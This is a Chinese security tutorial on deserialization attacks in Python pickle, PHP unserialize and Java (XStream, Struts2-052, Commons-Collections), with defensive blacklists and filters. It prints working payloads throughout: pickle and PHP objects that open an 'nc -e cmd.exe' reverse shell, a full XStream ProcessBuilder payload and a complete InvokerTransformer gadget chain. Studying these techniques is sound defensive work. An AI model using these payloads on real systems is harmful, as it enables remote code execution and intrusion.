原创: 4ct10n 合天智汇
grammar_cjkRuby: true
反序列化存在于各个开发语言的web应用,PHP、Python、Java都无一例外,趁着假期闲着无聊总结一下
Python反序列化漏洞
简介
Python的主流序列化方式有两种Pickleline-height:22px;font-size:14px">import pickle
import cPickle as pickle
from pickle import Pickle
from pickle import Unpickle
最后一种只能存储到文件,不可以到内存
具体的利用方法呢有两种形式1. 利用 __del__ 魔法函数 触发恶意代码2. 利用 __reduce__触发反序列化重构
情况1 析构函数触发
触发条件比较苛刻,在攻击对象中必须自己包含析构函数,如下代码Generate.py
import pickleclass test(object):def __init__(self):self.a = "nc -e cmd.exe 127.0.0.1 81"with open('log','wb') as f:pickle.dump(test(),f)
Test.py
import pickleimport osclass test(object):def __init__(self):passdef __del__(self):os.system(self.a)with open('log','r') as f:pickle.load(f)

情况2 利用reduce魔法函数
利用reduce魔法函数重构序列化类,需要注意的是反序列化之后要使用的模块必须由反序列化函数提供,也就是说即使在Test.py中存在着该模块reduce函数中也不能引用,这一点比较关键。
Generate.py
import pickleclass test(object):def __reduce__(self):return eval,("__import__('os').system('nc -e cmd 127.0.0.1 81')",)with open('log','wb') as f:pickle.dump(test(),f)
import pickleimport subprocessclass test(object):def __reduce__(self):return subprocess.call,("nc -e cmd.exe 127.0.0.1 81 ",)with open('log','wb') as f:pickle.dump(test(),f)
Test.py
import picklewith open('log', 'r') as f:pickle.load(f)
防范
那么有了这个攻击思想怎么去防范呢,其实方法很简单就是在反序列化之前查看,反序列化内容有没有关键字。这里介绍两种防范方法
1 @装饰器
import picklefrom functools import wrapsblack_list = ['subprocess']def __HookPickle__(func):@wraps(func)def f(*args):data = args[0].read()for i in black_list:if i in data:exit()args[0].seek(0)return func(*args)return f@__HookPickle__def load(f):return pickle.load(f)with open('log', 'r') as f:load(f)
2 直接过滤
这里直接将反序列化调用的REDUCE参数 进行过滤从而达到防范的目的![]()
unpkler.dispatch[REDUCR] 其中REDUCE='R' 然而unpkler.dispatch['R'] = reload_reduce

_hook_call 其实封装的是reload_reduce函数......
from os import *from sys import *from pickle import *from io import open as Openfrom pickle import Unpickler as Unpklerfrom pickle import Pickler as Pklerblack_type_list = [eval]class FilterException(Exception):def __init__(self, value):super(FilterException, self).__init__('the callable object {value} is not allowed'.format(value=str(value)))def _hook_call(func):def wrapper(*args, **kwargs):print args[0].stackif args[0].stack[-2] in black_type_list:raise FilterException(args[0].stack[-2])return func(*args, **kwargs)return wrapperdef LOAD(file):unpkler = Unpkler(file)unpkler.dispatch[REDUCE] = _hook_call(unpkler.dispatch[REDUCE])return Unpkler(file).load()with Open("test","rb") as f:LOAD(f)
最后的最后你需要一个black_list ,这里提供一个
[eval, execfile, compile, system, open, file, popen, popen2, popen3, popen4, fdopen,tmpfile, fchmod, fchown, pipe, chdir, fchdir, chroot, chmod, chown, link,lchown, listdir, lstat, mkfifo, mknod, mkdir, makedirs, readlink, remove, removedirs,rename, renames, rmdir, tempnam, tmpnam, unlink, walk, execl, execle, execlp, execv,execve, execvp, execvpe, exit, fork, forkpty, kill, nice, spawnl, spawnle, spawnlp, spawnlpe,spawnv, spawnve, spawnvp, spawnvpe, load, loads, subprocess, commands]
PHP反序列化漏洞
简介
PHP反序列化漏洞虽然利用的条件比Python的反序列化苛刻的多,其原因在于没有向python 魔法函数reduce那样重构一个类,因此必须有成熟的条件后才能进行攻击,同时也限定了PHP的反序列化漏洞理解起来比较简单。目前在网上有许多关于PHP的反序列化漏洞解析,这里介绍一种新的利用方法。
成因
和python 反序列化第一种成因是一样的,由于触发魔法函数造成恶意代码执行。在PHP中主要序列化函数是serialize(),unserialize(),在执行unserialize后会触发 析构函数或是wakeup函数。根本原因还是由于class的魔法函数
构造函数__construct():当对象创建(new)时会自动调用。但在unserialize()时是不会自动调用的。
析构函数__destruct():当对象被销毁时会自动调用。
__wakeup() :如前所提,unserialize()时会自动调用。
利用
简单利用
?php/****/class test{function __destruct(){echo `nc -e cmd.exe 127.0.0.1 81`;}}$s = 'O:4:"test":0:{}';unserialize($s);?>
?php/****/class test{function __wakeup(){echo `nc -e cmd.exe 127.0.0.1 81`;}}// $a = new test();$s = 'O:4:"test":0:{}';// echo $s;unserialize($s);?>

命名空间反序列化运用
?phpnamespace controllers;class User{function __destruct(){echo `nc -e cmd.exe 127.0.0.1 81`;}}$a = 'O:16:"controllers\User":0:{}';unserialize($a);
和上面的效果是一样的
防范
严格使用魔法函数,检查用户的输入,永远不要相信用户的输入
Java的反序列化漏洞
简介
Java的反序列化漏洞影响非常严重,对于Java来说序列化是将一个对象转换成其他可存储的格式比如二进制字符串、XML、Json格式等。因此在Java的反序列化漏洞中主要有三种利用方式
ObjectIntputStream 对二进制字符串进行反序列化
xstream 对xml进行反序列化
fastjson.JSON 对json数据进行反序列化
每一类型的触发方式不是很相同 可以将Java 反序列化漏洞归结如下
第一种
JAVA Apache-CommonsCollections 序列化漏洞
第二种
structs2-052 xstream
Weblogic XMLdecoder
第三种
Fastjson反序列化漏洞
成因
本文先针对1、2种情况进行漏洞分析第一种情况,ObjectIntputStream在反序列化对象时会调用readObject方法,如果readObject方法中有危险函数就可能造成命令执行第二种情况,xstream在进行xml格式解析时会重构对象从而使恶意代码执行
利用
先分析两个demo ,接着用两个真实的cve介绍漏洞的成因
1. Serializable
import java.io.*;public class test{public static void main(String args[]) throws Exception{MySerializable Unsafe = new MySerializable();Unsafe.name = "Only Test";FileOutputStream fos = new FileOutputStream("object");ObjectOutputStream os = new ObjectOutputStream(fos);//将对象序列化存入文件os.writeObject(Unsafe);os.close();//从文件中读取序列化内容并反序列化FileInputStream fis = new FileInputStream("object");ObjectInputStream ois = new ObjectInputStream(fis);//恢复对象MySerializable objectFromDisk = (MySerializable)ois.readObject();System.out.println(objectFromDisk.name);ois.close();}}class MySerializable implements Serializable{public String name;//重写readObject 反序列化方法private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException{//执行默认的readObject()方法in.defaultReadObject();//触发恶意代码Runtime.getRuntime().exec("calc");}}
MySerializable 实现了Serializable接口将readObject 方法重写并且其中包含了弹出计算器的代码,在反序列化的时候会触发该函数并弹出计算器
2. xstream
payload构造方法
git clone https://github.com/mbechler/marshalsec.gitmvn clean package -DskipTestsjava -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.XStream ImageIO calc

xstream的反序列化确实可以造成命令执行,如下代码
import java.io.IOException;import com.thoughtworks.xstream.XStream;import com.thoughtworks.xstream.io.xml.DomDriver;import java.beans.EventHandler;import java.util.Set;import java.util.TreeSet;public class Main {public static void main(String[] args) throws IOException {XStream xstream = new XStream();String payload = "map>entry>jdk.nashorn.internal.objects.NativeString> flags>0/flags> value class=\"com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data\"> dataHandler> dataSource class=\"com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource\"> is class=\"javax.crypto.CipherInputStream\"> cipher class=\"javax.crypto.NullCipher\"> initialized>false/initialized> opmode>0/opmode> serviceIterator class=\"javax.imageio.spi.FilterIterator\"> iter class=\"javax.imageio.spi.FilterIterator\"> iter class=\"java.util.Collections$EmptyIterator\"/> next class=\"java.lang.ProcessBuilder\"> command>string>calc/string> /command> redirectErrorStream>false/redirectErrorStream> /next> /iter> filter class=\"javax.imageio.ImageIO$ContainsFilter\"> method> class>java.lang.ProcessBuilder/class> name>start/name> parameter-types/> /method> name>foo/name> /filter> next class=\"string\">foo/next> /serviceIterator> lock/> /cipher> input class=\"java.lang.ProcessBuilder$NullInputStream\"/> ibuffer>/ibuffer> done>false/done> ostart>0/ostart> ofinish>0/ofinish> closed>false/closed> /is> consumed>false/consumed> /dataSource> transferFlavors/> /dataHandler> dataLen>0/dataLen> /value> /jdk.nashorn.internal.objects.NativeString> jdk.nashorn.internal.objects.NativeString reference=\"../jdk.nashorn.internal.objects.NativeString\"/> /entry> entry> jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/> jdk.nashorn.internal.objects.NativeString reference=\"../../entry/jdk.nashorn.internal.objects.NativeString\"/>/entry>/map>";xstream.fromXML(payload);}}
xstream从xml中解析出对象后执行恶意代码
两种类型的漏洞
Structs2-052
漏洞存在于structs2-rest-plugin-2.5.12中

从请求数据中获得request请求内容,以文件的方式尽心读取,将对象传递给handler.toObject的方法,此时的handler是XStreamHandler 其方法如下

成功触发xstream的fromxml方法
有个这个分析payload的利用方式就简单了
从xml到命令执行还没有搞懂,有时间继续搞一搞
Apache commons-collection.jar
趁着放假,把该漏洞从头到尾的复现了一遍,受影响的的web应用有JBoss等其根本原因是 org.apache.commons.collections.functors.InvokerTransformer存在反射执行函数,并且在 其中有触发java反射机制其中的transform函数起到关键作用





可以实现执行input 对象中iMethodName方法并且以iArgs为参数那么怎么做到命令执行呢
Transformer trans = new InvokerTransformer("append",new Class[]{String.class},new Object[]{"xxx"});Object a = trans.transform(new StringBuffer("asd"));System.out.print(a);
可以看到主要是transform进行命令执行,如果想要执行系统命令需要什么指令
Runtime r = (Runtime)Class.forName("java.lang.Runtime").getMethod("getRuntime",newjava.lang.Class[]{}).invoke(null,newObject[]{});
有多层包含关系,那么可以利用java的ChainedTransformer进行命令执行

可以看到执行链,一层套一层,第一层的object将带入第二层以此类推
那么可以构造以下payload
package test;import java.io.File;import java.io.FileOutputStream;import java.util.HashMap;import java.util.Map;import java.util.Map.Entry;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;public class orign {public static void main(String[] args) {Transformer[] transformers = new Transformer[]{new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime", new Class[0]}),new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null, new Object[0]}),new InvokerTransformer("exec", new Class[]{String.class},new Object[]{"calc"})};Transformer chain = new ChainedTransformer(transformers) ;chain.transform("xx");}}
目前找到了触发恶意代码的方式,那么回过头想一想反序列化与transform函数之间还需要什么东西去连接

接下来就是寻找一个类继承Serializbale接口 包含readObject方法并且该方法中包含触发transform函数的方式
巧妙的是在TransformedMap(是Map的子类)中正好有一个setValu可以触发transform方法此时关系图就变成了下图

此时如果有某个类的readObject方法含有Map 迭代的话 并且执行了setValue函数就完美了。
凑巧的是真有这样的类,在 sun.reflect.annotation.AnnotationInvocationHandler中
该类的源码地址
http://www.docjar.com/html/api/sun/reflect/annotation/AnnotationInvocationHandler.java.html该类继承了Serializable并冲写了readObject方法


最后在setValue函数处触发,至此构成了完整的利用链,见下图

为了方便演示将Person代替AnnotationInvocationHandler类进行处理
// Person.javapackage test;import java.io.IOException;import java.io.Serializable;import java.security.KeyStore.Entry;import java.util.Map;public class Person implements Serializable{private String name;public Map map;private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException,IOException{in.defaultReadObject();if(map != null){Map.Entry a = (Map.Entry) map.entrySet().iterator().next();a.setValue("what?");}}}
生成序列化文件
//Generate.javapackage test;import java.io.File;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.util.Map;import java.util.HashMap;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.map.TransformedMap;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;public class TransformTest {public static Object getAnnotationInvocationHandler(String command) throws Exception {String[] execArgs = command.split(",");Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", new Class[0] }),new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, new Object[0] }),new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc.exe"})};Transformer transformerChain = new ChainedTransformer(transformers);Map tempMap = new HashMap();tempMap.put("value", "value");//这里不能少要不然setValue 会执行出错Map exMap = TransformedMap.decorate(tempMap, null, transformerChain);//setValue会触发transform方法// Map.Entry onlyElement = (Map.Entry) exMap.entrySet().iterator().next();// onlyElement.setValue("foobar");Person p = new Person();p.map = exMap;return p;}public static void main(String[] args) throws Exception {String command = (args.length != 0) ? args[0] : "calc.exe";Object obj = getAnnotationInvocationHandler(command);File f = new File("bbb");ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));out.writeObject(obj);}}
反序列化触发漏洞
//unserialize.javapackage test;import java.io.FileInputStream;import java.io.ObjectInputStream;import java.lang.reflect.Method;public class unserialize {public static void main(String[] args) throws Exception {FileInputStream in;try {in = new FileInputStream("bbb");ObjectInputStream ins = new ObjectInputStream(in);ins.readObject();} catch (Exception e) {// TODO: handle exception}}}

这就是整个的攻击流程总体来讲的话,反序话会触发对象readObject函数 ,恰巧在该函数中有能够触发反射链的Map.Entry setValue函数,从而造成了恶意代码执行。
这里给出测试样例地址https://github.com/actionyz/vulhub/tree/master/Serialize
防范
对于xml的反序列化攻击可以添加对xstream反序列化的限制

对于commons-collections 将 java.io.ObjectInputStream 反序列化操作替换成SerialKiller,这样就可以利用白名单黑名单进行过滤。
参考资料
探秘Java反序列化漏洞一:序列化与反序列化 rui0.cn/archives/924Java 反序列化漏洞从无到有 http://www.freebuf.com/column/155381.htmlJava反序列化漏洞从入门到深入 https://xz.aliyun.com/t/2041S2-052从Payload到执行浅析 http://www.freebuf.com/vuls/147170.htmlcommon-collections中Java反序列化漏洞导致的RCE原理分析 http://www.91ri.org/14522.htmlCommons Collections Java反序列化漏洞深入分析 https://security.tencent.com/index.php/blog/msg/97
(如需转载请注明出处)
转载请注明来自网盾网络安全培训,本文标题:《关于反序列化攻击方法探究》
- 上一篇: 维吉尼亚可视化破解
- 下一篇: 青莲晚报(第二十四期)| 物联网安全多知道
- 关于我们




